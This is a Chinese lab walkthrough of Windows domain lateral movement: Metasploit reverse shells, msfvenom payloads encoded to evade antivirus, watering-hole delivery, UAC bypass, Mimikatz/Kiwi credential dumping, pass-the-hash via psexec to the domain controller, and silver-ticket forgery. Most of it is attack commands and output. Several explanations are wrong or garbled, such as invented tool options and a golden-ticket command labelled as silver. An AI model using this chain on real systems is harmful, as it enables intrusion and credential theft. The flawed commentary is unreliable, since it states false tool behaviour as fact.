搭建单域环境要点

横向移动技战术(一)_访问权限

 

环境准备win10

横向移动技战术(一)_目标系统_02

配置静态ip

首先网卡模式是nat

横向移动技战术(一)_Windows_03

网段192.168.231.103

横向移动技战术(一)_目标系统_04

横向移动技战术(一)_目标系统_05


WindowsServer 2016

配置网卡模式为nat

横向移动技战术(一)_访问权限_06

查看一下ip

ipconfig

可以看是不是在一个网段里

横向移动技战术(一)_Windows_07

设置一个ip地址,如果可以互通的话不用改

横向移动技战术(一)_Windows_08

打开服务器的管理器

配置域服务

横向移动技战术(一)_目标系统_09

爱看这个页面就可以看到域服务器就已经加入域了

横向移动技战术(一)_访问权限_10

点开工具

横向移动技战术(一)_Windows_11

点开ad用户和计算机


横向移动技战术(一)_目标系统_12

点开lonelyor.org


横向移动技战术(一)_目标系统_13

选择dc

横向移动技战术(一)_Windows_14

这里有一个单域环境的GC

ipconfig /all

横向移动技战术(一)_访问权限_15

详细的网卡信息

横向移动技战术(一)_目标系统_16

admininistrator

账号

lonelyor.org

创建域控域服务

配置网关

dns服务器地址配成域服务器地址


kali

也需要在一个网段所以配置nat模式

横向移动技战术(一)_目标系统_17

拿下域成员机与getsystem提权

横向移动技战术(一)_访问权限_18

在网络安全领域,"拿下域成员机"通常指的是通过某种手段获取对域网络中一台或多台计算机的控制权。"getsystem提权"则是指在一台已经控制的计算机上提升权限,以获取更高级别的访问权限,比如从普通用户权限提升到系统管理员权限。这两个概念通常是渗投测试或红队演练中的关键步骤。

拿下域成员机

拿下域成员机的过程可能包括以下几个步骤:

  1. 侦察:收集目标网络的信息,包括域名、IP地址范围、开放的服务和端口等。
  2. 扫描和枚举:使用工具如Nmap进行端口扫描,识别运行的服务和潜在的漏动。
  3. 漏动利用:利用发现的漏动(如未打补丁的软件、弱密码、配置错误等)来获取对计算机的初始访问权限。
  4. 持久化:一旦进入系统,建立持久化的访问机制,以便即使在系统重启后也能保持控制。

getsystem提权

在已经控制了一台计算机后,下一步通常是提升权限:

  1. 本地权限提升:检查系统上的本地漏动,如不安全的文件权限、服务配置错误、未打补丁的软件等,利用这些漏动提升到本地管理员权限。
  2. 域权限提升:如果目标是域环境,提升到域管理员权限可能更为重要。这可能涉及到利用域内的信任关系、域控制器上的漏动、或者通过社会工程学手段获取域管理员的凭证。
  3. 使用提权工具:有许多工具可以帮助进行权限提升,如Metasploit框架中的提权模块、PowerShell Empire、Cobalt Strike等。

首先打开kali

ip a

查看一下网卡信息,看一下ip地址

横向移动技战术(一)_目标系统_19

然后打开msf

横向移动技战术(一)_Windows_20

使用监听模块

use multi/handler

横向移动技战术(一)_Windows_21


set payload windows/meterpreter/reverse_tcp

这条命令是在Metasploit框架中使用的,用于设置公鸡载荷(payload)。具体来说:

  • set: 这是Metasploit中的命令,用于设置各种参数。
  • payload: 这是你要设置的参数类型,指的是在成功利用漏动后要执行的代码。
  • windows/meterpreter/reverse_tcp: 这是特定的payload类型。它表示一个针对Windows系统的Meterpreter shellcode,采用reverse TCP技术。这意味着一旦这个payload被执行,它会在目标系统上打开一个反向TCP连接到公鸡者的机器。这样公鸡者就可以通过这个连接来控制受害者的系统。

总的来说,这条命令是用来准备一个针对Windows系统的远程控制Payload,在渗投测试的场景中使用。

横向移动技战术(一)_Windows_22

set Lhost 192.168.231.130

横向移动技战术(一)_Windows_23

show options

在Metasploit(MSF)框架中,show options命令用于显示当前选定的模块(如exploit或payload)的所有可配置选项及其当前设置。这包括各种参数,如目标地址、端口、payload类型等。这些选项可以帮助你定制和调整渗投测试或安全评估活动的具体细节。

横向移动技战术(一)_Windows_24

可以看到所有设置已经完成

横向移动技战术(一)_目标系统_25

运行一下

run

这样这个程序就已经启动好了

横向移动技战术(一)_目标系统_26

打开一个新的标签页

cd Tmp

横向移动技战术(一)_Windows_27

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.231.130 lport=4444 -e x86/shikata_ga_nai -i 3 -b '\x00' -f exe -o shell.exe

这段代码使用了msfvenom工具,它是Metasploit框架的一部分,用于生成恶意软件的payload。下面是对这段代码的详细解释:

  • msfvenom: 这是Metasploit框架中的一个工具,用于生成各种格式的payload。
  • -p windows/meterpreter/reverse_tcp: 指定payload的类型。这里选择了针对Windows系统的Meterpreter reverse TCP payload。这意味着生成的payload将在目标系统上运行,并尝试建立一个反向TCP连接到指定的lhost
  • lhost=192.168.231.130: 指定公鸡者监听的IP地址,即payload将连接回的这个地址。
  • lport=4444: 指定公鸡者监听的端口号,即payload将连接回的这个端口。
  • -e x86/shikata_ga_nai: 指定编码器。shikata_ga_nai是一种常用的多态编码器,用于混淆payload,使其更难以被杀毒软件检测。
  • -i 3: 指定编码迭代次数。这里设置为3次,意味着payload将被编码3次,增加其复杂性和逃避检测的能力。
  • -b '\x00': 指定要避免的字符。\x00是一个常见的截断字符,在这里被排除在payload之外,以防止在某些环境中导致payload提前终止。
  • -f exe: 指定输出格式为EXE,即生成一个Windows可执行文件。
  • -o shell.exe: 指定输出的文件名。这里生成的EXE文件将被保存为shell.exe

综上所述,这段代码的效果是生成一个针对Windows系统的恶意软件,该软件包含一个Meterpreter reverse TCP payload。当这个shell.exe文件在目标Windows系统上运行时,它会尝试建立一个反向TCP连接到公鸡者的机器(IP地址为192.168.231.130,端口为4444),从而允许公鸡者远程控制目标系统。生成的payload经过了多次编码,以增加其逃避检测的能力。

横向移动技战术(一)_Windows_28

运行它

横向移动技战术(一)_目标系统_29

下面就是shell的免杀和如何将这个exe投递到目标靶机上,比如钓鱼、水坑公鸡等

因为是练习所以直接开个http的服务,让靶机进行下载就可以了。

横向移动技战术(一)_目标系统_30

靶机访问水坑网站

横向移动技战术(一)_访问权限_31

双击下载到exe

横向移动技战术(一)_目标系统_32

回到kali中发现受害机器已上线

横向移动技战术(一)_目标系统_33

进入之前在meterpreter界面看一下当前所拥有的权限

通过getuid可以看到shell拿到的权限

发现是个人用户权限不是超管权限

横向移动技战术(一)_访问权限_34

运行getsystem进行自动提权

横向移动技战术(一)_访问权限_35

横向移动技战术(一)_访问权限_36

需要一些其他的操作

background #返回上一层

横向移动技战术(一)_访问权限_37

sessions -l #看拿下那些sessions

有个1和3,这里主要拿3,因为1的木马有一些问题,3是重新生成的

横向移动技战术(一)_Windows_38

信息收集

seach bypassuac type:exploit

横向移动技战术(一)_Windows_39

横向移动技战术(一)_访问权限_40

这里选择第12个

一种方式是输入use然后把要执行的需要复制下来

use exploit/windows/local/bypassuac_sluihijack

第二种方式是输入use然后输入序号

use 12

横向移动技战术(一)_目标系统_41

set session 3

在Metasploit框架中,set session 3 命令用于设置一个会话(session)的编号。会话是指你与目标系统之间的交互式连接,通常是在成功利用某个漏动之后建立的。

当你执行一个成功的公鸡,比如利用一个漏动并获得了shell访问权限,Metasploit会创建一个新的会话来管理这个连接。如果你有多个会话,你可以使用 sessions -ljobs -l 命令来列出所有当前活跃的会话,并查看它们的编号。

set session 3 这条命令就是将当前会话设置为编号为3的会话。这样你就可以通过这个编号来引用和管理这个特定的会话,比如发送命令、上传文件等。

这里是一个简单的例子:

msf6 > use exploit/windows/smb/ms17_010_eternalblue 
msf6 exploit/windows/smb/ms17_010_eternalblue) > set rhost 192.168.1.100 
rhost => 192.168.1.100 
msf6 exploit/windows/smb/ms17_010_eternalblue) > exploit 
 
[*] Started reverse TCP handler on 192.168.1.200:4444 
[*] Sending stage (17517 bytes) to 192.168.1.100 
[*] Meterpreter session 3 opened (192.168.1.200:4444 -> 192.168.1.100:49154) at 2023-09-27 14:27:45 +0800 
 
msf6 exploit/windows/smb/ms17_010_eternalblue) > sessions -l 
 
Active sessions 
=============== 
 
  Num  Name      Type           Information                    Connection 
  ----  ----      ----           -----------                    ----------
  3     shell     meterpreter   Windows 7 Professional x64      192.168.1.200:4444 -> 192.168.1.100:49154 
 
msf6 exploit/windows/smb/ms17_010_eternalblue) > set session 3 
session => 3

在这个例子中,我们利用了一个EternalBlue漏动(MS17-010),并在成功利用后创建了一个编号为3的Meterpreter会话。然后我们使用 set session 3 来设置当前会话为这个编号为3的会话。

请注意,会话编号是动态的,每次你建立一个新的会话时,编号都会增加。如果你关闭了一个会话,它的编号不会被重用。

横向移动技战术(一)_Windows_42

然后运行一下exp

run

横向移动技战术(一)_访问权限_43

稍等片刻后会弹出一个全新的met窗口

横向移动技战术(一)_访问权限_44

getuid

发现是普通用户权限

横向移动技战术(一)_目标系统_45

getsystem

横向移动技战术(一)_目标系统_46

在输入getuid查看一下权限

getuid

就发现已经提权成功了,拿到了超管权限

横向移动技战术(一)_目标系统_47

需要有一步手工选择公鸡载荷的操作

Kiwi(Mimikatz升级版)获取域内机器密码

横向移动技战术(一)_访问权限_48

Kiwi是一个由法国安全研究员Gentil Kiwi开发的工具,它是Mimikatz的一个升级版,主要用于在Windows系统中提取和解密存储的密码。Kiwi可以提取NTLM哈希、明文密码、Kerberos票据等各种形式的凭证。

要使用Kiwi获取域内机器的密码,你需要先获取对该机器的访问权限。然后,你可以通过以下步骤来使用Kiwi:

  1. 下载和编译Kiwi: 你可以从GitHub上下载Kiwi的源代码,并使用Visual Studio进行编译。
  2. 运行Kiwi: 编译完成后,你可以在目标机器上运行Kiwi。以下是使用Kiwi提取密码的基本步骤:
### 以管理员身份打开命令提示符 
C:\> privlegees.exe 

### 加载Kiwi模块 
C:\> sekurlsa::logonpasswords
  1. 提取密码: Kiwi会显示当前登录用户的凭证信息,包括用户名、NTLM哈希、明文密码等。
C:\> sekurlsa::logonpasswords 

[Administrator]
User : Administrator 
Domain: WORKGROUP 
Password : ***********
LM Hash  : *******************
NTLM Hash: *******************
  1. 保存密码: 如果你需要保存提取的密码,可以使用以下命令:
C:\> sekurlsa::logonpasswords /output:C:\passwords.txt

输入

sysinfo

横向移动技战术(一)_目标系统_49

 

横向移动技战术(一)_Windows_50

kiwi模块同时支持32位和64位的系统

默认是32位

Kiwi模块同时支持32位和64位的Windows系统。不过,Kiwi模块默认是为32位系统设计的。如果你的目标系统是64位的,你可能需要进行一些额外的步骤来确保Kiwi模块能够正确运行。

具体来说,如果你的目标系统是64位的,你可能需要先查看系统进程列表,然后将Meterpreter进程迁移到一个64位程序的进程中,这样才能加载Kiwi模块并查看系统明文。以下是一个基本的步骤:

  1. 检查系统位数: 首先,你需要确定目标系统是32位还是64位。你可以使用以下命令来查看系统位数:
C:\> systeminfo | findstr /B /C:"System Type"
  1. 迁移Meterpreter进程: 如果目标系统是64位的,你需要将Meterpreter进程迁移到一个64位程序的进程中。你可以使用以下命令来迁移进程:
C:\> migrate <pid>

其中,<pid>是你要迁移的目标进程的PID。

  1. 加载Kiwi模块: 迁移完成后,你可以加载Kiwi模块并使用它来提取密码:
C:\> load kiwi 
C:\> sekurlsa::logonpasswords



横向移动技战术(一)_Windows_51

输入ps查看目标进程

横向移动技战术(一)_目标系统_52

这里有一个lsass.exe

横向移动技战术(一)_Windows_53

然后输入644进入指令迁移

migrate 644

横向移动技战术(一)_Windows_54

然后输入SysInfo来查看

这时候Meterpreter就变成了64位了

这就表示我们进程迁移成功了,这时候就可以使用kiwi了

横向移动技战术(一)_访问权限_55

输入

load kiwi

横向移动技战术(一)_访问权限_56

就成功进入了kiwi了

输入命令

help kiwi

横向移动技战术(一)_目标系统_57

横向移动技战术(一)_访问权限_58

横向移动技战术(一)_访问权限_59

输入creds_all

横向移动技战术(一)_访问权限_60

输入这个命令就会列出所有用户的凭证

横向移动技战术(一)_访问权限_61

这里有两个用户名和两个凭证

第二个是win10,所以是我们利用的核心

除了这个方式还有一个方式

横向移动技战术(一)_Windows_62

输入hashdump

这样也可以列出用户相关的凭证

打开浏览器,任意选一个破接md5的网站

横向移动技战术(一)_Windows_63

提交密码点击查询

横向移动技战术(一)_目标系统_64

也可以用反推方式,进行逆向

横向移动技战术(一)_访问权限_65

ntlm加密方法

Kiwi模块使用

Kiwi模块通常是通过Metasploit框架中的Meterpreter会话来使用的。以下是使用Kiwi模块的一些基本步骤和一个示例:

步骤 1: 启动Metasploit

首先,你需要在你的公鸡机上启动Metasploit。这可以通过终端或命令行界面完成:

$ msfconsole

步骤 2: 选择并配置一个漏动利用模块

接下来,选择一个合适的漏动利用模块,并对其进行配置以针对目标系统。例如,如果你正在使用SMB漏动,你可以选择相应的模块:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit/windows/smb/ms17_010_eternalblue > set RHOSTS 192.168.1.10 
RHOSTS => 192.168.1.10

步骤 3: 执行漏动利用

执行漏动利用以获取Meterpreter会话:

msf6 exploit/windows/smb/ms17_010_eternalblue > exploit

步骤 4: 加载Kiwi模块

一旦你有了Meterpreter会话,你可以加载Kiwi模块:

meterpreter > load kiwi 
Loading extension kiwi...Success.

步骤 5: 使用Kiwi模块的功能

现在你可以使用Kiwi模块的各种命令来提取密码和其他凭证信息。例如,要提取当前登录用户的密码,你可以使用creds_all命令:

meterpreter > creds_all

或者,要提取明文密码,你可以使用logonpasswords命令:

meterpreter > sekurlsa::logonpasswords

完整示例

以下是一个完整的示例,展示了如何使用Metasploit和Kiwi模块来提取密码:

$ msfconsole
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit/windows/smb/ms17_010_eternalblue > set RHOSTS 192.168.1.10 
RHOSTS => 192.168.1.10
msf6 exploit/windows/smb/ms17_010_eternalblue > exploit
 
[*] Started reverse TCP handler on 192.168.1.20:4444  
[*] Connecting to the target for automatic exploit... 
[*] Sending stage (175174 bytes) to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.1.20:4444 -> 192.168.1.10:49159) at 2023-09-27 14:30:00 -0400
 
meterpreter > load kiwi 
Loading extension kiwi...Success. 
 
meterpreter > sekurlsa::logonpasswords

PTH哈希传递公鸡

横向移动技战术(一)_访问权限_66

Pass-the-Hash(PTH)公鸡原理

  1. 获取哈希值: 公鸡者首先需要获取目标系统上的用户账户的NTLM哈希值。这通常通过入侵一台已经存在于目标网络中的计算机来实现,然后在这台计算机上读取内存中的哈希值。
  2. 利用哈希值进行认证: 一旦公鸡者获得了用户的NTLM哈希值,他们就可以使用这些哈希值来认证到其他系统和服务,而无需知道原始密码。这是因为Windows系统在进行身份验证时,会将提供的哈希值与存储在目标系统上的哈希值进行比较,而不是直接比较密码。
  3. SMB协议利用: PTH公鸡通常利用SMB协议(默认使用445端口)。公鸡者可以通过发送精心构造的SMB包,包含用户的NTLM哈希值,来认证到远程系统。如果哈希值匹配,公鸡者就可以获得对远程系统的访问权限。

工具和技术

  • Mimikatz:这是一个常用的渗投测试工具,可以用来提取和利用NTLM哈希值进行PTH公鸡。
  • PsExec:这是一个Sysinternals工具,也可以用来进行PTH公鸡。
  • Impacket:这是一个Python库,用于进行各种网络公鸡,包括PTH公鸡。

横向移动技战术(一)_访问权限_67

哈希传递公鸡(Pass-the-Hash, PTH)并不一定要求域内所有主机的管理员密码都相同。实际上,即使每个主机的管理员密码都不相同,PTH公鸡仍然可以成功。

哈希传递公鸡的核心在于利用已知的NTLM哈希值来认证到其他系统和服务,而不需要知道原始密码。以下是PTH公鸡的一般步骤:

  1. 获取哈希值:公鸡者首先需要获取目标系统上的用户账户的NTLM哈希值。这通常通过入侵一台已经存在于目标网络中的计算机来实现,然后在这台计算机上读取内存中的哈希值。
  2. 利用哈希值进行认证:公鸡者使用这些哈希值来认证到其他系统和服务。Windows系统在进行身份验证时,会将提供的哈希值与存储在目标系统上的哈希值进行比较,而不是直接比较密码。

因此,只要公鸡者能够获取某个用户的NTLM哈希值,他们就可以使用这个哈希值来尝试认证到其他系统,无论这些系统的管理员密码是否相同。

当然,在实际的网络环境中,如果多个系统使用相同的管理员密码,那么公鸡者的成功率可能会更高,因为他们只需要获取一个系统的哈希值,就可以尝试认证到多个系统。但这并不是PTH公鸡的前提条件,而是增加了公鸡的成功率。

总结来说,哈希传递公鸡的关键在于利用NTLM哈希值进行身份验证,而不是依赖于密码的相似性。

获取哈希值

以下是一些常见的方法:

  1. 内存提取: 使用工具如Mimikatz,可以从被入侵的Windows系统的内存中提取出用户的NTLM哈希值。Mimikatz是一个强大的渗投测试工具,它可以读取和解密Windows操作系统中的各种安全信息。
  2. 密码喷洒: 这是一种暴力破接技术,通过尝试大量的用户名和密码组合来获取哈希值。这种方法通常用于对付弱密码策略。
  3. 网络嗅探: 通过在网络中嗅探流量,公鸡者可能会捕获到NTLM哈希值。这种方法通常需要公鸡者处于可以监听网络流量的位置。
  4. 利用已有的系统访问权限: 如果公鸡者已经获得了系统的一部分访问权限,他们可能能够直接读取存储在系统上的NTLM哈希值。

利用哈希公鸡

哈希传递公鸡(Pass-the-Hash, PTH)是一种网络公鸡技术,公鸡者通过获取目标系统的用户账户的NTLM哈希值,然后利用这些哈希值来认证到其他系统和服务,而不需要知道原始密码。

以下是一个简单的哈希传递公鸡的示例:

示例场景

假设有一个企业网络,其中包含两台Windows服务器:ServerA和ServerB。公鸡者已经通过某种方式(例如,社会工程学、钓鱼公鸡等)获得了ServerA的管理员账户的NTLM哈希值。

公鸡步骤

获取NTLM哈希值: 公鸡者使用工具如Mimikatz从ServerA的内存中提取出管理员账户的NTLM哈希值。

mimikatz.exe "sekurlsa::logonpasswords"

输出结果可能类似于:

Username : Administrator 
Domain   : SERVERA 
NTLM    : 31d6cfe0d16ae931b73cdf0db827230a

利用哈希值进行认证: 公鸡者使用提取到的NTLM哈希值来尝试认证到ServerB。这通常通过在网络中发送精心构造的SMB包来实现,这些包包含用户的NTLM哈希值。

psexec.exe \SERVERB -u Administrator -h 31d6cfe0d16ae931b73cdf0db827230a

获得访问权限: 如果ServerB接受这个NTLM哈希值作为有效的身份验证凭证,公鸡者就可以获得对ServerB的访问权限,而不需要知道管理员账户的原始密码。

实验

横向移动技战术(一)_Windows_68

接着前面的kiwi

 直接输入shell,进入到远程命令终端

横向移动技战术(一)_访问权限_69

横向移动技战术(一)_Windows_70

横向移动技战术(一)_访问权限_71

输入ipconfig /all # 查看网卡的ip信息

看到DNS服务器的地址是192.168.231.102,这个就是域控服务器的ip

这样就知道了本机的ip地址和域环境

exit

横向移动技战术(一)_目标系统_72

横向移动技战术(一)_目标系统_73

kiwi cmd sekurlsa::logonpasswords

kiwi_cmd sekurlsa::logonpasswords 是一条在Metasploit框架的Meterpreter会话中使用的命令,它用于执行Mimikatz工具的一个特定功能。这条命令的具体含义如下:

  • kiwi_cmd:这是Metasploit中Kiwi扩展模块的一个命令,它允许你在Meterpreter会话中执行Mimikatz工具的命令。Kiwi模块是Mimikatz的一个集成版本,专门为Metasploit设计。
  • sekurlsa::logonpasswords:这是Mimikatz工具中的一个命令,它的作用是从系统的安全事件日志中提取最近登录用户的明文密码、NTLM哈希值以及其他凭据信息。sekurlsa 是Mimikatz中的一个模块,专门用于处理安全密钥日志记录和认证信息。

当你在Meterpreter会话中输入 kiwi_cmd sekurlsa::logonpasswords 时,Metasploit会调用Kiwi模块来执行这个Mimikatz命令,从而尝试从目标系统中提取用户的登录凭据。

请注意,执行这个命令通常需要管理员权限,因为普通用户没有足够的权限来访问系统的安全日志和敏感信息。

横向移动技战术(一)_访问权限_74

可以看到这里就拿到了3b4f的ntlm和sha1

 

横向移动技战术(一)_目标系统_75

返回上一层

background

横向移动技战术(一)_Windows_76

可以看到和session有关的是session 4

输入

session 4

横向移动技战术(一)_目标系统_77

这里有很多shell,别搞错了

横向移动技战术(一)_目标系统_78

use exploit/windows/smb/psexec

我们已经知道对方靶机的45是开着的

横向移动技战术(一)_目标系统_79

横向移动技战术(一)_访问权限_80

show options

这里本地都有了

下面设置远程目标的地址

横向移动技战术(一)_目标系统_81

设置目标域控服务器的ip地址

set RHOSTS 192.168.231.102

横向移动技战术(一)_Windows_82

设置smb的域名为 loneyor.org

接着设置用户

set smbuser administrator

通过前面的信息收集知道用户是administrator

横向移动技战术(一)_访问权限_83

下面要输入密码,输入全0,前面知道是32位

set smbpass 00000000000000000000000:3b972cab044c498843e8438b1f854f4f

设置完成后要设置要执行的命令

横向移动技战术(一)_目标系统_84

set command ipconfig

公鸡成功后会自动在目标机器上执行ipconfig命令

横向移动技战术(一)_访问权限_85

show options

横向移动技战术(一)_目标系统_86

横向移动技战术(一)_Windows_87

检查一下目标地址有没有输错

然后检查域名,密码和账户名

横向移动技战术(一)_目标系统_88

检查过后都没有问题,然后启动一下

run

稍等片刻后就可以成功获取Windowsserve2016的meterpreter

横向移动技战术(一)_目标系统_89

getuid

看一下权限,发现已经拿到了超管的权限

横向移动技战术(一)_Windows_90

sysinfo

是64位的win10,以上就是哈希公鸡的步骤

这个公鸡能不能成功最主要的就是域成员机和域控机器的密码是不是一样的

不一样也有一定概率会成功

pth暴力破接公鸡结合哈希传递公鸡组合公鸡,只要这个表做的足够精准或者足够大就可以拿到域控。

票据传递公鸡的原理和涉及的基础知识

横向移动技战术(一)_访问权限_91

PTT票据传递公鸡


以下是关于PTT公鸡的一些基本信息:

Pass-the-Ticket(PTT)公鸡

Pass-the-Ticket(PTT)公鸡是一种利用Kerberos协议中的票据(Ticket)进行身份验证的公鸡方式。在这种公鸡中,公鸡者获取到用户的Kerberos票据,并使用这些票据来认证到其他系统和服务,而不需要知道原始密码。

公鸡步骤

  1. 获取Kerberos票据: 公鸡者通过某种方式(例如,网络嗅探、内存提取等)获取到用户的Kerberos票据。
  2. 利用票据进行认证: 公鸡者使用获取到的Kerberos票据来尝试认证到其他系统和服务。这通常通过在网络中发送精心构造的Kerberos包来实现,这些包包含用户的Kerberos票据。

横向移动技战术(一)_目标系统_92

白银票据伪造公鸡与防御实战

白银票据伪造公鸡(Silver Ticket Attack)是一种针对Kerberos认证系统的公鸡 手段,它利用了Kerberos协议中的弱点来伪造服务票据(Service Ticket),从而非法访问特定服务。这种公鸡通常发生在公鸡者已经获取了目标服务账户的密钥(即服务主体的NTLM哈希)的情况下。

原理

白银票据伪造公鸡的原理如下:

  1. 获取服务账户密钥:公鸡者首先需要获取目标服务的密钥,这通常是服务账户的NTLM哈希值。
  2. 伪造服务票据:公鸡者使用获取到的密钥来伪造一张服务票据,这张票据将允许公鸡者以服务账户的身份访问目标服务。
  3. 使用伪造票据:公鸡者将伪造的票据发送给目标服务,服务验证票据的有效性后,公鸡者便可以访问服务。

防御

防御白银票据伪造公鸡的方法包括:

  1. 保护服务账户密钥:确保服务账户的密钥不被泄露,限制对这些密钥的访问权限。
  2. 定期更换密钥:定期更换服务账户的密钥,减少密钥被长期滥用的风险。
  3. 启用PAC(Privilege Attribute Certificate)验证:启用PAC验证可以增加公鸡者伪造票据的难度。

应用步骤及代码示例

以下是一个简化的示例,展示了如何使用Mimikatz工具来执行白银票据伪造公鸡:

  1. 获取服务账户密钥: 假设公鸡者已经通过某种手段获取了服务账户的NTLM哈希值。
  2. 伪造服务票据: 使用Mimikatz工具来伪造一张服务票据。以下是一个命令行示例:
mimikatz # kerberos::golden /user:AttackerUser /domain:YourDomain.local /sid:S-1-5-21-1234567890-123456789-123456789 /krbtgt:KRBTGT_HASH /target:TARGET_SERVICE /service:cifs /ptt

这里的参数解释如下:

  • /user: 公鸡者想要冒充的用户名。
  • /domain: 目标域的名称。
  • /sid: 目标域的安全标识符(SID)。
  • /krbtgt: KRBTGT账户的NTLM哈希值(实际上应该是服务账户的哈希值)。
  • /target: 目标服务的FQDN(完全限定域名)。
  • /service: 目标服务的类型,例如cifs(通用互联网文件系统)。
  • /ptt: Pass the Ticket,将票据注入当前会话。
  1. 使用伪造票据: 一旦票据被注入,公鸡者就可以使用该票据来访问目标服务。

请注意,上述操作仅作为理论演示,实际操作可能涉及违法行为,且违反了道德和法律标准

伪造st来伪造权限,不经过域控,只能访问pac

pac只能由kdc制作和查看,我们无法伪造pac,所有我们只能访问不验证pac的服务

横向移动技战术(一)_访问权限_93

来到kali输入

sysinfo

查看一下当前处于winserve2016

然后我们需要做一下进程的迁移否则无法使用

横向移动技战术(一)_Windows_94

ps查看一下进程

横向移动技战术(一)_目标系统_95

找到它的id是628

横向移动技战术(一)_目标系统_96

接下来迁移

migrate 628

横向移动技战术(一)_访问权限_97

sysinfo

在查看一下,发现都是64的时候就说明已经迁移成功了

横向移动技战术(一)_Windows_98

伪造票据需要目标的主机名,主机名对应的用户的NTLM哈希和域的sid,因此我们用到kiwi来去获取相应信息

load kiwi

横向移动技战术(一)_Windows_99

梳理前面内容

根据前面实验我们已经拿到了2016的shell

横向移动技战术(一)_访问权限_100

拿到以后需要做进程的迁移

横向移动技战术(一)_访问权限_101

这样才能加载kiwi

横向移动技战术(一)_访问权限_102

保证这里都是x64

白银票据伪造公鸡是一种网络安全公鸡手段,公鸡者通过获取服务账户的密钥(如NTLM哈希),然后使用这个密钥伪造一个有效的服务票据(Silver Ticket),从而能够以服务账户的身份访问目标服务。这种公鸡方法主要利用了Kerberos协议中的弱点。

要执行这种公鸡,公鸡者首先需要获取服务账户的密钥,然后使用这个密钥伪造一个服务票据,并将这个票据注入到Kerberos系统中,从而获得对目标服务的访问权限。这种公鸡通常需要使用专门的工具,如Mimikatz。

接下来获取相关信息

横向移动技战术(一)_目标系统_103

creds_all

输入完命令可以看到我们拿到的是2016的shell,用户领域属于LONELYOR

NTLM是c5ecdf7bac4662b2e9e7415a7270bc69

横向移动技战术(一)_Windows_104

这里新开一个命令行界面,需要记录NTLM,这个信息非常的关键,不要搞错了

横向移动技战术(一)_目标系统_105

这里的用户是Windowsserve2016,Administrator

还有一种方式可以使用

横向移动技战术(一)_Windows_106

hashdump

也可以看到用户名和NTLM哈希

在Meterpreter中,hashdump命令用于从受感染的Windows系统中提取用户账户的NTLM哈希值。Meterpreter是一个高级的、多功能的渗投测试工具,它是Metasploit框架的一部分。

当你在Meterpreter中运行hashdump命令时,它会尝试从系统的内存中读取SAM(Security Accounts Manager)数据库,然后提取所有的用户账户及其对应的NTLM哈希值。这些哈希值可以用于进一步的安全审计或公鸡,例如离线破接密码。

hashdump使用示例

在Meterpreter控制台中,你可以通过以下方式使用hashdump命令:

  1. 首先,确保你已经获得了对目标系统的Meterpreter会话。
  2. 输入hashdump命令并按回车键。
meterpreter > hashdump
  1. 如果操作成功,Meterpreter将显示系统中所有用户账户的NTLM哈希值。

横向移动技战术(一)_目标系统_107

还有一种是kiwi命令

kiwi cmd sekurlsa::logonpasswords

kiwi_cmd sekurlsa::logonpasswords 是在Metasploit框架的Meterpreter会话中使用的一个命令,它调用了Mimikatz工具的sekurlsa::logonpasswords模块。Mimikatz是一个流行的Windows取证工具,用于提取系统中的凭证信息,包括明文密码、哈希值、Kerberos票据等。

当你在Meterpreter会话中运行kiwi_cmd sekurlsa::logonpasswords时,它会尝试从当前系统的内存中提取用户的登录凭证,特别是那些最近登录过的用户的明文密码和NTLM哈希值。这个命令非常有用,尤其是在渗投测试中,因为它可以帮助渗投测试人员获取目标系统上的敏感信息。

kiwi使用示例

在Meterpreter控制台中,你可以通过以下方式使用kiwi_cmd sekurlsa::logonpasswords命令:

  1. 首先,确保你已经获得了对目标系统的Meterpreter会话。
  2. 输入以下命令并按回车键:
meterpreter > load kiwi
meterpreter > kiwi_cmd sekurlsa::logonpasswords
  1. 如果操作成功,Meterpreter将显示系统中用户的登录凭证信息,包括用户名、域名、会话类型、NTLM哈希值和明文密码(如果存在)。

注意事项

  • kiwi_cmd sekurlsa::logonpasswords命令通常需要管理员权限才能运行,因为它需要访问系统的内存和敏感信息。

横向移动技战术(一)_Windows_108

这里是winsrv-2016

在域控制器中低权限用户获取域的sid

在域控制器中,即使是低权限用户,也有可能通过一些公开的工具或脚本来获取域的安全标识符(SID)。域的SID是一个唯一标识域内所有安全主体(包括用户、组和服务)的字符串,它在整个域中是唯一的。

获取域SID的方法

以下是一些可能的方法来获取域的SID,但请注意,这些方法可能需要在特定的环境下才能成功,并且可能涉及到违反安全策略的行为:

  1. 使用PowerShell脚本: 可以使用简单的PowerShell脚本来获取域的SID。例如:
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 
$domainSid = $domain.DomainIdentifier
$domainSid.ToString()

这段脚本会返回当前域的SID。

  1. 使用命令行工具: 在Windows命令提示符下,可以使用whoami命令来获取当前用户的SID,然后从中推断出域的SID。例如:
whoami /user

输出结果中的域SID部分就是域的SID。

  1. 查看注册表: 在域控制器的注册表中,域的SID可以在以下位置找到:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList

在这个位置,可以看到多个以SID命名的子项,其中一个可能是域的SID。

横向移动技战术(一)_目标系统_109

输入shell

横向移动技战术(一)_Windows_110

输入

chcp 65001

回显

chcp code page: 65001

横向移动技战术(一)_访问权限_111

wmic useraccount where name="krbtgt" get sid

就获取了sid

横向移动技战术(一)_Windows_112

-502不需要,只需要到前面这一段

S-1-5-21-3199196146-2196162486-1764246383 #必须要记住这个值,后面会用到

代码解释:

在Windows系统中,wmic(Windows Management Instrumentation Command-line)是一个强大的命令行工具,用于查询和设置WMI(Windows Management Instrumentation)信息。使用wmic查询用户帐户的SID(Security Identifier)可以通过以下命令实现:

wmic useraccount where name="krbtgt" get sid

但是,需要注意的是,在某些版本的Windows Server或工作站中,出于安全原因,默认情况下可能不允许非管理员用户或脚本通过wmic查询用户SID。因此,你可能需要以管理员权限运行命令提示符或PowerShell。

如何以管理员身份运行命令提示符:

  1. 点击“开始”菜单。
  2. 在搜索框中输入“cmd”或“命令提示符”。
  3. 在搜索结果中找到“命令提示符”或“Command Prompt”,然后右键单击它,选择“以管理员身份运行”。

执行命令:

一旦你以管理员权限打开了命令提示符,就可以输入上面的wmic命令并按回车键执行。

输出解释:

如果命令成功执行,你将看到类似以下的输出:

SID
S-1-5-21-1234567890-1234567890-1234567890-516

